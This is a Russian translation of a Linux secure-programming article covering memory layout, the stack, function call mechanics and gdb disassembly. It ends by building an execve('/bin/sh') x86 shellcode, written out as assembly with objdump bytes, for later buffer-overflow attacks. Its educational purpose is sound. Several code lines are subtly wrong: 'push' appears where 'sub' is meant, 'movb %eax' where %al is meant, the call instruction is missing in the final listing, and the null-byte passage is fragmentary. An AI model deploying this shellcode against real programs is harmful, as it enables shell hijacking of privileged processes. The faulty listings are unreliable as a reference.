автор Frйdйric Raynal, Christophe Blaess, Christophe Grenier Об авторе: Christophe Blaess - независимый инженер по аэронавтике. Он почитатель Linux и делает большую часть своей работы на этой системе. Заведует координацией переводов man страниц, публикуемых Linux Documentation Project. Christophe Grenier - студент 5 курса в ESIEA, где он также работает сисадмином. Страстно увлекается компьютерной безопасностью. Frйdйric Raynal много лет использует Linux, потому что он не загрязняет окружающую среду, не использует ни гармоны, ни генетически модифицированную пищу, ни животный жир... только тяжелый труд и хитрости. Содержание: Введение Распределение памяти Что такое программа? Различные области Подробный пример Стек и куча Регистры Функции Введение Пролог Вызов Возврат Дизассемблирование Создание шеллкода На языке Си Вызовы на ассемблере Размещение шеллкода в памяти Проблема с нулевым байтом Построение шеллкода Обобщение и последние детали Заключение Страница отзывов

Как избежать дыр в безопасности при разработке приложения - Часть 2: память, стек и функции, шеллкод

Резюме:

В этом цикле статей рассматриваются основные типы дыр в безопасности, которые могут появиться в приложениях. Статьи дают методы, при помощи которых можно избежать этих дыр немного изменяя привычки разработчика.

В данной статье рассматривается организация и распределение памяти и разъясняются взаимоотношения между функцией и памятью. В последнем разделе показывается, как написать шеллкод.

Введение

Распределение памяти

Что такое программа?

Давайте предположим, что программа - это набор инструкций машинного кода (не обращая внимания на язык, на котором она была написана), т.е. то, что мы обычно называем двоичным кодом. При первой компиляции, для получения двоичного файла, исходный код программы содержит переменные, константы и инструкции. В этом разделе рассматривается распределение памяти в различных частях двоичного файла.

Различные области

Чтобы понять, что происходит при выполнении двоичного кода, давайте посмотрим на организацию памяти. Она зависит от различных областей:

Вообще говоря это не все, однако мы рассмотрим только те части, которые наиболее важны в этой статье.

Команда size -A file --radix 16 выдает размер каждой области, зарезервированый при компиляции. Отсюда можно взять адреса областей в памяти (вы можете также использовать команду objdump, чтобы узнать эти данные). Вот вывод size для двоичного файла "fct":

>>size -A fct --radix 16
fct  :
section            size        addr
.interp            0x13   0x80480f4
.note.ABI-tag      0x20   0x8048108
.hash              0x30   0x8048128
.dynsym            0x70   0x8048158
.dynstr            0x7a   0x80481c8
.gnu.version        0xe   0x8048242
.gnu.version_r     0x20   0x8048250
.rel.got            0x8   0x8048270
.rel.plt           0x20   0x8048278
.init              0x2f   0x8048298
.plt               0x50   0x80482c8
.text             0x12c   0x8048320
.fini              0x1a   0x804844c
.rodata            0x14   0x8048468
.data               0xc   0x804947c
.eh_frame           0x4   0x8049488
.ctors              0x8   0x804948c
.dtors              0x8   0x8049494
.got               0x20   0x804949c
.dynamic           0xa0   0x80494bc
.bss               0x18   0x804955c
.stab             0x978         0x0
.stabstr         0x13f6         0x0
.comment          0x16e         0x0
.note              0x78   0x8049574
Total            0x23c8

Область text содержит инструкции программы. Эта область предназначена только для чтения. Она общая для всех процессов, выполняющих один и тот же двоичный файл. Попытка писать в эту область вызывает ошибку segmentation violation - нарушение сегментации.

Перед объяснением предназначения других областей, вспомним кое-что о переменных в Си. Глобальные переменные используются во всей программе, в то время как локальные переменные - только в функциях, где они определены. Статические переменные имеют известный размер, зависящий от их типа, при их определении. Тип может быть char, int, double, указатель и т.д. На машине типа PC, указатель представляет собой 32-х битный целый адрес в памяти. Размер области на который он указывает не известен явно при компиляции. Динамическая переменная представляет собой явно выделенную область памяти - на самом деле, это указатель, указывающий на этот выделенный адрес. Глобальные/локальные, статические/динамические переменные могут быть комбинированы без всяких проблем.

Вернемся к организации памяти для данного процесса. Область data содержит инициализированные глобальные статические данные (значения предоставляются во время компиляции), в то время как сегмент bss содержит неинициализированные глобальные данные. Эти области зарезервированы при компиляции, т.к. их размеры определены в соответствии с объектами, которые они хранят.

А что насчет локальных и динамических переменных? Они сгруппированы в область памяти, зарезервированную для выполнения программы (стековый фрейм пользователя). Т.к. функции могут вызываться рекурсивно, количество экземпляров локальных переменных заранее неизвестно. При их создании, они будут помещены в стек. Этот стек находится в области высших адресов в адресном пространстве пользователя и работает по принципу LIFO(Последний вошел, первым вышел). Нижняя часть области пользовательского фрейма используется для размещения динамических переменных. Эта область называется "куча": она содержит память, адресуемую указателями, и динамические переменные. При объявлении, указатель - это 32-х битная переменная в BSS или в стеке, не указывающая ни на какой действительный адрес. Когда процесс выделяет память (например используя malloc), адрес первого байта этой памяти (также 32-х битное число) помещается в указатель.

Подробный пример

Следующий пример показывает размещение переменных в памяти:

/* mem.c */

  int    index = 1;   //в data
  char * str;         //в bss
  int    nothing;     //в bss

void f(char c)
{
  int i;              //в стеке
  /* Резервирует 5 символов в куче */
  str = (char*) malloc (5 * sizeof (char));
  strncpy(str, "abcde", 5);
}

int main (void)
{
  f(0);
}

Отладчик gdb подтверждает все это.

>>gdb mem
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute
copies of it under certain conditions.  Type "show copying"
to see the conditions.  There is absolutely no warranty
for GDB.  Type "show warranty" for details.  This GDB was
configured as "i386-redhat-linux"...
(gdb)

Установим точку останова в функции f() и выполним программу до этого момента:

(gdb) list
7      void f(char c)
8      {
9         int i;
10        str = (char*) malloc (5 * sizeof (char));
11        strncpy (str, "abcde", 5);
12     }
13
14     int main (void)
(gdb) break 12
Breakpoint 1 at 0x804842a: file mem.c, line 12.
(gdb) run
Starting program: mem

Breakpoint 1, f (c=0 '\000') at mem.c:12
12      }

Теперь мы можем увидеть размещение различных переменных.

1. (gdb) print &index
$1 = (int *) 0x80494a4
2. (gdb) info symbol 0x80494a4
index in section .data
3. (gdb)  print &nothing
$2 = (int *) 0x8049598
4. (gdb) info symbol 0x8049598
nothing in section .bss
5. (gdb) print str
$3 = 0x80495a8 "abcde"
6. (gdb) info symbol 0x80495a8
No symbol matches 0x80495a8.
7. (gdb) print &str
$4 = (char **) 0x804959c
8. (gdb) info symbol 0x804959c
str in section .bss
9. (gdb) x 0x804959c
0x804959c <str>:     0x080495a8
10. (gdb) x/2x 0x080495a8
0x80495a8: 0x64636261      0x00000065

Команда под номером 1 (print &index) показывает адрес в памяти глобальной переменной index. Вторая инструкция (info) выдает символ, ассоциированный с этим адресом и место в памяти, где он может быть найден: index - инициализированная глобальная статическая переменная хранится в области data.

Инструкции 3 и 4 подтверждают, что неинициализированная статическая переменная nothing находится в сегменте BSS.

Строка 5 выводит str ... фактически, содержимое переменной str, т.е. адрес 0x80495a8. Инструкция 6 показывает, что никакая переменная не определена по этому адресу. Команда 7 позволяет узнать адрес переменной str и команда 8 показывает, что она находится в сегменте BSS.

В 9 отображается 4 байта содержащиеся по адресу 0x804959c: это зарезервированный адрес в куче. Содержимое в 10 показывает нашу строку "abcde":

шеснадцатиричное значение : 0x64 63 62 61      0x00000065
символ                    :    d  c  b  a               e

Локальные переменные c и i помещены в стек.

Заметим, что размеры различных областей, возвращаемые командой size, не совпадают с тем, что мы ожидаем увидеть, просматривая программу. Причина в том, что при выполнении программы, появляются различные переменные, определеные в библиотеках (наберите info variables в gdb, чтобы увидеть их все).

Стек и куча

Каждый раз при вызове функции, в памяти должно быть создано новое окружение для локальных переменных и ее параметров(здесь под окружением подразумеваются все элементы, появляющиеся при выполнении функции: ее аргументы, ее локальные переменные, ее адрес возврата в стеке выполнения... это не окружение для переменных оболочки, о котором мы говорили в предыдущей статье). Регистр %esp (extended stack pointer - расширенный указатель стека) содержет адрес вершины стека(которая в нашем представлении находится внизу, но мы так и будем называть ее вершиной для полной аналогии со стеком реальных объектов) и указывает на последний элемент, добавленый в стек; в зависимости от архитектуры, этот регистр может иногда указывать на первое свободное место в стеке.

Адрес локальной переменной в стеке может быть представлен как смещение по отношению к %esp. Однако, элементы все время добавляются или удаляются в/из стека, и смещение каждой переменной должно будет корректироваться, а это очень неэффективно. Использование второго регистра позволяет исправить положение: %ebp (extended base pointer - расширенный указатель базы) содержит начальный адрес окружения текущей функции. Поэтому достаточно адрес представлять как смещение относительно этого регистра. Он остается постоянным, пока выполняется функция. Теперь легко найти параметры и локальные переменные в функции.

Стандартный элемент стека - слово: на процессорах i386 оно занимает 32 бита, то есть 4 байта. Этот параметр отличен для других архитектур. На процессорах Alpha слово занимает 64 бита. Стек работает только со словами, это значит, что каждая размещенная переменная использует один и тот же размер слова. Мы увидим это более подробно в описании пролога функции. Вывод содержимого переменной str при помощи gdb в предыдущем примере иллюстрирует это. Команда x gdb выводит полное 32-х битное слово (читайте его слева направо, т.к. оно представлено в прямом порядке байтов).

Стеком обычно управляют всего 2 инструкциями процессора:

• push value : данная инструкция помещает value на вершину стека. Она уменьшает %esp на размер слова, чтобы получить адрес следующего доступного слова в стеке и сохраняет аргумент value на место этого слова;
• pop dest : помещает элемент с вершины стека в 'dest'. Она помещает значение по адресу, на который указывает %esp, в dest и увеличивает регистр %esp. Чтобы быть точным, из стека ничего не удаляется. Просто меняется указатель на вершину стека.

Регистры

Что же такое регистры? Вы можете рассматривать их как ящики, которые могут содержать только одно слово, в то время как память состоит из последовательности слов. Всякий раз как новое значение помещается в регистр, старое значение теряется. Регистры позволяют осуществлять прямое взаимодействие между памятью и центральным процессором.

Первая буква 'e' в названиях регистров обозначает "extended - расширенный" и указывает на эволюцию от 16 битной к современной 32-х битной архитиктуре.

Регистры могут быть разделены на 4 категории:

1. регистры общего назначения: %eax, %ebx, %ecx и %edx, используются для манипулирования данными;
2. сегментные регистры: 16 битные %cs, %ds, %es и %ss, содержат первую часть адреса памяти;
3. регистры смещения: содержат смещения по отношению к сегментным регистрам:
   • %eip (Extended Instruction Pointer - расширенный указатель инструкции): указывает на адрес следующей инструкции для выполнения;
   • %ebp (Extended Base Pointer - расширенный указатель базы): указывает на начало локального окружения функции;
   • %esi (Extended Source Index - расширенный индекс источника): содержит смещение источника данных в операциях с блоком памяти;
   • %edi (Extended Destination Index - расширенный индекс назначения): содержит смещение данных назначения в операциях с блоком памяти;
   • %esp (Extended Stack Pointer - расширенный указатель стека): вершина стека;
4. специальные регистры: используются только центральным процессором.

Функции

Введение

/* fct.c */

void toto(int i, int j)
{
  char str[5] = "abcde";
  int k = 3;
  j = 0;
  return;
}

int main(int argc, char **argv)
{
  int i = 1;
  toto(1, 2);
  i = 0;
  printf("i=%d\n",i);
}

Назначение этого раздела - объяснить поведение указаных функций по отношению к стеку и регистрам. Некоторые атаки пытаются изменить порядок выполнения программы. Чтобы разобраться в них, полезно знать, что происходит в обычной ситуации.

Выполнение функции разделено на три этапа:

1. пролог : при входе в функцию, вы сразу готовите путь к выходу из нее, сохраняя состояние стека перед входом и резервируя память, необходимую для выполнения;
2. вызов функции: при вызове функции, ее параметры помещаются в стек и сохраняется указатель инструкции (IP), позволяя продолжить выполнение инструкции с нужного места после функции;
3. возврат из функции: все возвращается на свои места как и было до вызова.

Пролог

push   %ebp
mov    %esp,%ebp
push   $0xc,%esp       //$0xc зависит от программы

Эти три инструкции делают то, что называется пролог. Диаграмма 1 детализирует работу пролога функции toto(), поясняя роли регистров %ebp и %esp:

Диаграмма 1: пролог функции

	Вначале, %ebp указывает на некоторый адрес X в памяти. %esp ниже в стеке на адресе Y и указывает на последний элемент в нем. При входе в функцию, вы должны сохранить начало "текущего окружения", на которое указывает %ebp. Т.к. %ebp помещается в стек, %esp увеличивается на размер слова.
	Вторая инструкция позволяет построить новое "окружение" для функции, %ebp теперь указывает на вершину стека. Поэтому %ebp и %esp указывают на одно и то же слово в памяти, которое содержит адрес предыдущего окружения.
	Теперь должно быть выделено место в стеке для локальных переменных. Массив символов определен состоящим из 5 элементов и требует для размещения 5 байт (char занимает один байт). Однако стек работает только со словами и может выделять память только кратную слову(одно слово, 2 слова, 3 слова, ...). Чтобы сохранить 5 байт в случае четырехбайтного слова, вам нужно использовать 8 байт (что есть 2 слова). Серая часть может быть использована, даже если она не является частью строки. Целое k занимает 4 байта. Это место резервируется увелечением значения %esp на 0xc (шеснадцатиричное 12). Локальные переменные используют 8+4=12 байт (т.е. 3 слова).

Кроме самого механизма действия, важная вещь, которую надо здесь запомнить, - это расположение локальных переменных: локальные переменные имеют отрицательное смещение по отношению к %ebp. Инструкция i=0 в функции main() показывает это. Ассемблерный код (сравните ниже) использует косвенную адресацию для доступа к переменной i:

0x8048411 <main+25>:    movl   $0x0,0xfffffffc(%ebp)

Вызов

Также как пролог функции подготавливает для нее окружение, вызов функции позволяет ей принимать аргументы, и при завершении, возвратиться в вызывающую функцию.

В качестве примера возьмем вызов toto(1, 2);.

Диаграмма 2: Вызов функции

Перед вызовом функции, аргументы, ей необходимые, сохраняются в стек. В нашем примере вначале в стек помещаются два постоянных целых 1 и 2, начиная с последнего. Регистр %eip содержит адрес следующей инструкции для выполнения, в нашем случае - вызова функции.

При исполнении инструкции call, %eip принимает значение адреса последующей инструкции, расположеной ниже на 5 байт (инструкция call занимает 5 байт - не все инструкции используют столько же места, размер зависит от центрального процессора). call сохраняет адрес, содержащийся в %eip, для того чтобы была возможность вернуться к выполнению после работы функции. Это "резервная копия" делается неявной инструкцией, которая помещает регистр в стек: push %eip Значение данное call в качестве аргумента, соответствует адресу первой инструкции в прологе функции toto(). Этот адрес затем копируется в %eip, таким образом следующей инструкцией для выполнения будет инструкция, расположенная по этому адресу.

Оказавшись в теле функции, ее аргументы и адрес возврата имеют положительное смещение по отношению к %ebp, так как следующая инструкция помещает этот регистр на вершину стека. Инструкция j=0 в функции toto() иллюстрирует это. Ассемблерный код опять использует косвенную адресацию для доступа к j:

0x80483ed <toto+29>:    movl   $0x0,0xc(%ebp)

Возврат

Выход из функции происходит в два шага. Во-первых, окружение, созданное для функции, должно быть удалено (т.е. надо вернуть %ebp и %eip значения, бывшие до вызова функции). Сделав это, мы должны проверить стек, чтобы получить информацию, относящуюся к функции, из которой мы только что вышли.

Первый шаг делается в функции инструкциями:

leave
ret

Следующий - делается в функции, из которой происходил вызов, и состоит в удалении из стека аргументов вызываемой функции.

Закончим предыдущий пример с функцией toto().

Диаграмма 3: Выход из функции

	Здесь мы описываем начальную ситуацию до вызова и пролога. Перед вызовом %ebp содержал адрес X, а %esp - Y. >Далее мы сохранили в стеке аргументы функции, %eip и %ebp и зарезервировали место для наших локальных переменных. Следующей выполненной инструкцией будет leave.
	Инструкция leave эквивалентна последовательности: mov ebp esp pop ebp Первая инструкция опять делает так, что %esp и %ebp указывают на одно и то же место в стеке. Вторая - помещает вершину стека в регистр %ebp. Всего одной инструкцией (leave) стек возвращается в состояние как до пролога.
	Инструкция ret восстанавливает %eip, таким образом продолжается выполнение вызывающей функции с нужного места, то есть после функции, из которой мы вышли. Для этого достаточно поместить значение с вершины стека в %eip. Мы еще не вернулись к начальной ситуации, так как в стеке все еще находятся аргументы функции. Удаление их будет следующей инструкцией, которая представлена своим адресом Z+5 в %eip (заметьте, что адресация инструкций растет, в противоположность тому, что происходит в стеке).
	Удаление параметров из стека производится вызывающей функцией, поэтому сейчас время это сделать. Процесс проиллюстрирован на диаграмме напротив, с разделителем между инструкциями в вызываемой функции и add 0x8, %esp в вызывающей. Эта инструкция возвращает %esp выше по стеку на столько байт, сколько использовали параметры функции toto(). Регистры %ebp и %esp находятся теперь в ситуации, в которой они были до вызова. С другой стороны регистр инструкции %eip продвинулся выше.

Дизассемблирование

gdb позволяет получить ассемблерный код, соответствующий функциям main() и toto() :

>>gcc -g -o fct fct.c
>>gdb fct
GNU gdb 19991004
Copyright 1998 Free Software Foundation, Inc.  GDB is free
software, covered by the GNU General Public License, and
you are welcome to change it and/or distribute copies of
it under certain conditions.  Type "show copying" to see
the conditions.  There is absolutely no warranty for GDB.
Type "show warranty" for details.  This GDB was configured
as "i386-redhat-linux"...
(gdb) disassemble main                    //main
Dump of assembler code for function main:

0x80483f8 <main>:    push   %ebp //пролог
0x80483f9 <main+1>:  mov    %esp,%ebp
0x80483fb <main+3>:  sub    $0x4,%esp

0x80483fe <main+6>:  movl   $0x1,0xfffffffc(%ebp)

0x8048405 <main+13>: push   $0x2 //вызов
0x8048407 <main+15>: push   $0x1
0x8048409 <main+17>: call   0x80483d0 <toto>


0x804840e <main+22>: add    $0x8,%esp //возврат из toto()

0x8048411 <main+25>: movl   $0x0,0xfffffffc(%ebp)
0x8048418 <main+32>: mov    0xfffffffc(%ebp),%eax

0x804841b <main+35>: push   %eax     //вызов
0x804841c <main+36>: push   $0x8048486
0x8048421 <main+41>: call   0x8048308 <printf>


0x8048426 <main+46>: add    $0x8,%esp //возврат из printf()
0x8048429 <main+49>: leave            //возврат из main()
0x804842a <main+50>: ret

End of assembler dump.
(gdb) disassemble toto                    //toto
Dump of assembler code for function toto:

0x80483d0 <toto>:     push   %ebp   //пролог
0x80483d1 <toto+1>:   mov    %esp,%ebp
0x80483d3 <toto+3>:   sub    $0xc,%esp

0x80483d6 <toto+6>:   mov    0x8048480,%eax
0x80483db <toto+11>:  mov    %eax,0xfffffff8(%ebp)
0x80483de <toto+14>:  mov    0x8048484,%al
0x80483e3 <toto+19>:  mov    %al,0xfffffffc(%ebp)
0x80483e6 <toto+22>:  movl   $0x3,0xfffffff4(%ebp)
0x80483ed <toto+29>:  movl   $0x0,0xc(%ebp)
0x80483f4 <toto+36>:  jmp    0x80483f6 <toto+38>

0x80483f6 <toto+38>:  leave         //возврат из toto()
0x80483f7 <toto+39>:  ret

End of assembler dump.

Создание шеллкода

В некоторых случаях возможно влиять на содержимое стека процесса перезаписью адреса возврата функции, заставляя приложение выполнить некоторый произвольный код. Это особенно интересно для взломщика, если приложение работает под ID, отличным от ID пользователя(программа Set-UID или демон). Этот тип ошибки черезвычайно опасен, если приложение, такое как программа для чтения документов, запущено другим пользователем. Известная ошибка Acrobat Reader, когда измененный документ мог вызвать переполнение буфера. Эта ошибка также присутствует в сетевых сервисах (например imap).

В следующих статьях мы поговорим о механизмах, используемых для выполнения инструкций. Здесь мы начнем изучать сам код, который мы хотим исполнить в основном приложении. Простейшее решение - иметь код для запуска оболочки. Читатель сможет затем произвести другие действия, такие как изменение прав доступа к /etc/passwd. По причинам, которые станут далее очивидными, эта программа должна быть написана на языке ассемблера. Этот тип маленьких программ для запуска оболочки обычно называют шеллкод.

Рассмотреные примеры сделаны по статье Aleph One "Smashing the Stack for Fun and Profit" из журнала Phrack номер 49.

На языке Си

Цель шеллкода - запустить оболочку. Следующая программа на Си делает это:

/* shellcode1.c */

    #include <stdio.h>
    #include <unistd.h>

int main()
{
  char * name[] = {"/bin/sh", NULL};
  execve(name[0], name, NULL);
  return (0);
}

Среди множества функций, при помощи которых можно вызвать оболочку, много причин за то, чтобы использовать execve(). Во-первых, это настоящий системный вызов, в отличие от других функций из семейства exec(), которые по сути являются функциями библиотеки GlibC основанными на execve(). Системный вызов происходит при помощи прерывания. Достаточно определить регистры и их значения, чтобы получить эффективный и короткий ассемблерный код.

Кроме того, если execve() успешно выполнена, вызывающая программа (в нашем случае основное приложение) замещается выполняемым кодом новой программы и данный код запускается. Если вызов execve() оказался неуспешным, выполнение программы продолжается. В нашем примере код вставлен в середину атакуемого приложения. Продолжение выполнения будет бессмысленным и даже может быть пагубным. Поэтому выполнение должно быть завершено как только это возможно. return(0) позволяет выйти из программы, только если эта инструкция вызвана их функции main(), что не похоже на наш случай. Поэтому мы должны закончить выполнение функцией exit().

/* shellcode2.c */

    #include <stdio.h>
    #include <unistd.h>

int main()
{
  char * name [] = {"/bin/sh", NULL};
  execve (name [0], name, NULL);
  exit (0);
}

Фактически exit() это еще одна библиотечная функция, которая надстроена над настоящим системным вызовом _exit(). Новые изменения делают нас ближе к системе:

/* shellcode3.c */
    #include <unistd.h>
    #include <stdio.h>

int main()
{
  char * name [] = {"/bin/sh", NULL};
  execve (name [0], name, NULL);
  _exit(0);
}

Вызовы на ассемблере

$ gcc -o shellcode3 shellcode3.c -O2 -g --static

$ gdb shellcode3
GNU gdb 4.18
Copyright 1998 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public
License, and you are welcome to change it and/or distribute
copies of it under certain conditions.  Type "show copying"
to see the conditions.  There is absolutely no warranty
for GDB.  Type "show warranty" for details.  This GDB was
configured as "i386-redhat-linux"...

(gdb) disassemble main
Dump of assembler code for function main:
0x8048168 <main>:       push   %ebp
0x8048169 <main+1>:     mov    %esp,%ebp
0x804816b <main+3>:     sub    $0x8,%esp
0x804816e <main+6>:     movl   $0x0,0xfffffff8(%ebp)
0x8048175 <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x804817c <main+20>:    mov    $0x8071ea8,%edx
0x8048181 <main+25>:    mov    %edx,0xfffffff8(%ebp)
0x8048184 <main+28>:    push   $0x0
0x8048186 <main+30>:    lea    0xfffffff8(%ebp),%eax
0x8048189 <main+33>:    push   %eax
0x804818a <main+34>:    push   %edx
0x804818b <main+35>:    call   0x804d9ac <__execve>
0x8048190 <main+40>:    push   $0x0
0x8048192 <main+42>:    call   0x804d990 <_exit>
0x8048197 <main+47>:    nop
End of assembler dump.
(gdb)

(gdb) printf "%s\n", 0x8071ea8
/bin/sh
(gdb)

(gdb) disassemble __execve
Dump of assembler code for function __execve:
0x804d9ac <__execve>:    push   %ebp
0x804d9ad <__execve+1>:  mov    %esp,%ebp
0x804d9af <__execve+3>:  push   %edi
0x804d9b0 <__execve+4>:  push   %ebx
0x804d9b1 <__execve+5>:  mov    0x8(%ebp),%edi
0x804d9b4 <__execve+8>:  mov    $0x0,%eax
0x804d9b9 <__execve+13>: test   %eax,%eax
0x804d9bb <__execve+15>: je     0x804d9c2 <__execve+22>
0x804d9bd <__execve+17>: call   0x0
0x804d9c2 <__execve+22>: mov    0xc(%ebp),%ecx
0x804d9c5 <__execve+25>: mov    0x10(%ebp),%edx
0x804d9c8 <__execve+28>: push   %ebx
0x804d9c9 <__execve+29>: mov    %edi,%ebx
0x804d9cb <__execve+31>: mov    $0xb,%eax
0x804d9d0 <__execve+36>: int    $0x80
0x804d9d2 <__execve+38>: pop    %ebx
0x804d9d3 <__execve+39>: mov    %eax,%ebx
0x804d9d5 <__execve+41>: cmp    $0xfffff000,%ebx
0x804d9db <__execve+47>: jbe    0x804d9eb <__execve+63>
0x804d9dd <__execve+49>: call   0x8048c84 <__errno_location>
0x804d9e2 <__execve+54>: neg    %ebx
0x804d9e4 <__execve+56>: mov    %ebx,(%eax)
0x804d9e6 <__execve+58>: mov    $0xffffffff,%ebx
0x804d9eb <__execve+63>: mov    %ebx,%eax
0x804d9ed <__execve+65>: lea    0xfffffff8(%ebp),%esp
0x804d9f0 <__execve+68>: pop    %ebx
0x804d9f1 <__execve+69>: pop    %edi
0x804d9f2 <__execve+70>: leave
0x804d9f3 <__execve+71>: ret
End of assembler dump.
(gdb) disassemble _exit
Dump of assembler code for function _exit:
0x804d990 <_exit>:      mov    %ebx,%edx
0x804d992 <_exit+2>:    mov    0x4(%esp,1),%ebx
0x804d996 <_exit+6>:    mov    $0x1,%eax
0x804d99b <_exit+11>:   int    $0x80
0x804d99d <_exit+13>:   mov    %edx,%ebx
0x804d99f <_exit+15>:   cmp    $0xfffff001,%eax
0x804d9a4 <_exit+20>:   jae    0x804dd90 <__syscall_error>
End of assembler dump.
(gdb) quit

Диаграмма 4 : параметры функции execve()

Анализ этих ассемблерных инструкций функций дает нам параметры, которые они используют:

• execve() нужны различные параметры (сравни с диаграммой 4) :
  • регистр %ebx содержит адрес строки, представляющей команду для запуска, в нашем примере "/bin/sh" (0x804d9b1 : mov 0x8(%ebp),%edi а затем 0x804d9c9 : mov %edi,%ebx) ;
  • регистр %ecx содержит адрес массива аргументов (0x804d9c2 : mov 0xc(%ebp),%ecx). Первый аргумент должен быть именем программы, и больше нам ничего не нужно: массива, содержащего адрес строки "/bin/sh" и указатель NULL, будет достаточно;
  • Регистр %edx содержит адрес массива, представляющего собой окружение для запускаемой программы (0x804d9c5 : mov 0x10(%ebp),%edx). Чтобы оставить нашу программу простой, мы будем использовать пустое окружение: указатель NULL сделает это для нас.
• функция _exit() завершает процесс и возвращает код выполнения родительскому процессу (обычно оболочке), который содержится в регистре %ebx  ;

Поэтому нам нужны строка "/bin/sh", указатель на эту строку и NULL указатель (для аргументов, так как у нас их нет, и для окружения, так как оно у нас пустое). Мы можем увидеть возможное представление данных перед вызовом execve(). Построим массив из указателя на /bin/sh и NULL указателя, %ebx будет указывать на строку, %ecx на весь массив, а %edx на второй элемент массива (NULL). Это показано на диаграмме 5.

Диаграмма 5 : представление данных по отношению к регистрам

Размещение шеллкода в памяти

Шеллкод обычно вставляется в уязвимую программу через аргументы командной строки, переменные окружения или строку ввода. В любом случае при создании шеллкода, мы не знаем адрес, по которому он расположен. И все же мы должны знать адрес строки "/bin/sh". Небольшая хитрость позволит нам это сделать.

При вызове подпрограммы при помощи инструкции call, процессор сохраняет адрес возврата в стек, этот адрес непосредственно следует за адресом инструкции call (см. выше). Обычно, следующий шаг - сохранить состояние стека (особенно регистр %ebp инструкцией push %ebp). Чтобы получить адрес возврата при входе в подпрограмму, достаточно забрать его из стека инструкцией pop. Конечно, мы сохраним нашу строку "/bin/sh" непосредственно после инструкции call, чтобы позволить нашему "самедельному прологу" предоставить нам нужный адрес строки. Итак :

 beginning_of_shellcode:
    jmp subroutine_call

 subroutine:
    popl %esi
    ...
    (Шеллкод)
    ...
 subroutine_call:
    call subroutine
    /bin/sh

Конечно подпрограмма у нас не настоящая: или вызов execve() будет успешным и процесс заменится оболочкой, или он закончится неуспешно и функция _exit() завершит программу. Регистр %esi дает нам адрес строки "/bin/sh". Теперь этого достаточно, чтобы построить массив, поместив адрес после строки: первый элемент массива (в %esi+8, длина /bin/sh + нулевой байт) содержит значение регистра %esi, второй - в %esi+12 - нулевой адрес (32 бита). Код будет выглядеть так:

    popl %esi
    movl %esi, 0x8(%esi)
    movl $0x00, 0xc(%esi)

Диаграмма 6 показывает область данных:

Диаграмма 6 : массив данных

Проблема с нулевым байтом

Уязвимыми функциями часто являются операции работы со строками, такие как strcpy(). Чтобы вставить код в середину приложения, шеллкод должен быть скопирован как строка. Однако операции копирования останавливаются, как только находят нулевой символ. Поэтому наш код не должен иметь таковых. Использование маленьких хитростей избавит нас от написания нулевых байтов. Например инструкция

    movl $0x00, 0x0c(%esi)

    xorl %eax, %eax
    movl %eax, %0x0c(%esi)

b8 01 00 00 00          mov    $0x1,%eax

С другой стороны, строка "/bin/sh" должна заканчиватся нулевым байтом. Мы можем вписать его при создании шеллкода, однако, в соответствии с механизмом вставки его в программу, этот байт не может присутствовать в конечном приложении. Лучше добавить его следующим способом:

    /* movb работает только с одним байтом */
    /* эта инструкция эквивалентна */
    /* movb %al, 0x07(%esi) */
    movb %eax, 0x07(%esi)

Построение шеллкода

Теперь мы имеем все, чтобы написать шеллкод:

/* shellcode4.c */

int main()
{
  asm("jmp subroutine_call

subroutine:
    /* Получим адрес /bin/sh */
        popl %esi
    /* Запишем его первым элементом массива */
        movl %esi,0x8(%esi)
    /* Запишем NULL вторым элементом */
        xorl %eax,%eax
        movl %eax,0xc(%esi)
    /* Поместим нулевой байт в коней строки */
        movb %eax,0x7(%esi)
    /* Функция execve() */
        movb $0xb,%al
    /* Строка для запуска в %ebx */
        movl %esi, %ebx
    /* Массив аргументов в %ecx */
        leal 0x8(%esi),%ecx
    /* Массив окружения %edx */
        leal 0xc(%esi),%edx
    /* Системный вызов */
        int  $0x80

    /* Нулевой код возврата */
        xorl %ebx,%ebx
    /*  Функция _exit() : %eax = 1 */
        movl %ebx,%eax
        inc  %eax
    /* Системный вызов */
        int  $0x80

subroutine_call:
        subroutine_call
        .string \"/bin/sh\"
      ");
}

Код скомпилирован при помощи "gcc -o shellcode4 shellcode4.c". Команда "objdump --disassemble shellcode4" подтверждает, что наш двоичный код не содержит нулевых байтов:

08048398 <main>:
 8048398:   55                      pushl  %ebp
 8048399:   89 e5                   movl   %esp,%ebp
 804839b:   eb 1f                   jmp    80483bc <subroutine_call>

0804839d <subroutine>:
 804839d:   5e                      popl   %esi
 804839e:   89 76 08                movl   %esi,0x8(%esi)
 80483a1:   31 c0                   xorl   %eax,%eax
 80483a3:   89 46 0c                movb   %eax,0xc(%esi)
 80483a6:   88 46 07                movb   %al,0x7(%esi)
 80483a9:   b0 0b                   movb   $0xb,%al
 80483ab:   89 f3                   movl   %esi,%ebx
 80483ad:   8d 4e 08                leal   0x8(%esi),%ecx
 80483b0:   8d 56 0c                leal   0xc(%esi),%edx
 80483b3:   cd 80                   int    $0x80
 80483b5:   31 db                   xorl   %ebx,%ebx
 80483b7:   89 d8                   movl   %ebx,%eax
 80483b9:   40                      incl   %eax
 80483ba:   cd 80                   int    $0x80

080483bc <subroutine_call>:
 80483bc:   e8 dc ff ff ff          call   804839d <subroutine>
 80483c1:   2f                      das
 80483c2:   62 69 6e                boundl 0x6e(%ecx),%ebp
 80483c5:   2f                      das
 80483c6:   73 68                   jae    8048430 <_IO_stdin_used+0x14>
 80483c8:   00 c9                   addb   %cl,%cl
 80483ca:   c3                      ret
 80483cb:   90                      nop
 80483cc:   90                      nop
 80483cd:   90                      nop
 80483ce:   90                      nop
 80483cf:   90                      nop

Данные, находящиеся после адреса 80483c1 не представляют собой инструкции, это символы строки "/bin/sh" (в шеснадцатиричном представлении последовательность 2f 62 69 6e 2f 73 68 00) и случайные символы. Код не содержит нулей, кроме нулевого символа в конце строки по адресу 80483c8.

Теперь давайте протестируем нашу программу:

$ ./shellcode4
Segmentation fault (core dumped)
$

Опа! Не очень убедительно. Если мы немного подумаем, мы можем увидеть, что область памяти, где расположена функция main() (то есть область text, рассмотреная в начале этой статьи), предназначена только для чтения. Шеллкод не может модифицировать ее. Что мы можем сделать, чтобы протестировать наш шеллкод?

